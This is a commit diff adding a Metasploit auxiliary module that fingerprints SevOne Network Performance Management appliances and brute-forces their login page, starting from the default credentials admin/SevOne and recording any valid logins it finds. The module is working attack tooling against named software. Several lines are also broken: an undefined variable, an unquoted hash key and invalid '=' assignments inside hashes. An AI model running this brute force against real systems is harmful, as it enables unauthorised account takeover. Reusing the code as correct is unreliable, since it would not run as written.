|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'rex/proto/http' |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Auxiliary |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Auxiliary::AuthBrute |
| 16 | + include Msf::Auxiliary::Scanner |
| 17 | + |
| 18 | + def initialize(info={}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'SevOne Network Performance Management Application Brute Force Login Utility', |
| 21 | + 'Description' => %{ |
| 22 | + This module scans for SevOne Network Performance Management System Application, finds its version, |
| 23 | + and performs login brute force to identify valid credentials.}, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
| 27 | + ], |
| 28 | + 'DisclosureDate' => 'Jun 07, 2013', |
| 29 | + 'License' => MSF_LICENSE |
| 30 | + )) |
| 31 | + register_options( |
| 32 | + [ |
| 33 | + Opt::RPORT(80), |
| 34 | + OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']), |
| 35 | + OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']) |
| 36 | + ], self.class) |
| 37 | + end |
| 38 | + |
| 39 | + def run_host(ip) |
| 40 | + unless is_app_sevone? |
| 41 | + print_error("Application does not appear to be SevOne. Module will not continue.") |
| 42 | + return |
| 43 | + end |
| 44 | + |
| 45 | + print_status("Starting login brute force...") |
| 46 | + each_user_pass do |user, pass| |
| 47 | + do_login(user, pass) |
| 48 | + end |
| 49 | + end |
| 50 | + |
| 51 | + # |
| 52 | + # What's the point of running this module if the app actually isn't SevOne? |
| 53 | + # |
| 54 | + def is_app_sevone? |
| 55 | + res = send_request_cgi( |
| 56 | + { |
| 57 | + 'uri' => '/doms/about/index.php', |
| 58 | + 'method' => 'GET' |
| 59 | + }) |
| 60 | + |
| 61 | + if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE')) |
| 62 | + version_key = /Version: <strong>(.+)<\/strong>/ |
| 63 | + version = res.body.scan(version).flatten |
| 64 | + print_good("Application confirmed to be SevOne Network Performance Management System version #{version}") |
| 65 | + success = true |
| 66 | + end |
| 67 | + end |
| 68 | + |
| 69 | + # |
| 70 | + # Brute-force the login page |
| 71 | + # |
| 72 | + def do_login(user, pass) |
| 73 | + vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'") |
| 74 | + begin |
| 75 | + res = send_request_cgi( |
| 76 | + { |
| 77 | + 'uri' => "/doms/login/processLogin.php", |
| 78 | + 'method' => 'GET', |
| 79 | + vars_get => |
| 80 | + { |
| 81 | + 'login' = user, |
| 82 | + 'passwd' = pass, |
| 83 | + 'tzOffset' = '-25200', |
| 84 | + 'tzString' = 'Thur+May+05+1983+05:05:00+GMT+0700+' |
| 85 | + } |
| 86 | + }) |
| 87 | + |
| 88 | + check_key = "The user has logged in successfully." |
| 89 | + |
| 90 | + key = JSON.parse(res.body)["statusString"] |
| 91 | + |
| 92 | + if (not res or key != "#{check_key}") |
| 93 | + vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}") |
| 94 | + return :skip_pass |
| 95 | + else |
| 96 | + print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'") |
| 97 | + |
| 98 | + report_hash = { |
| 99 | + :host => datastore['RHOST'], |
| 100 | + :port => datastore['RPORT'], |
| 101 | + :sname => 'SevOne Network Performance Management System Application', |
| 102 | + :user => user, |
| 103 | + :pass => pass, |
| 104 | + :active => true, |
| 105 | + :type => 'password'} |
| 106 | + |
| 107 | + report_auth_info(report_hash) |
| 108 | + return :next_user |
| 109 | + end |
| 110 | + |
| 111 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 112 | + res = false |
| 113 | + print_error("HTTP Connection Failed, Aborting") |
| 114 | + return :abort |
| 115 | + end |
| 116 | + end |
| 117 | +end |
0 commit comments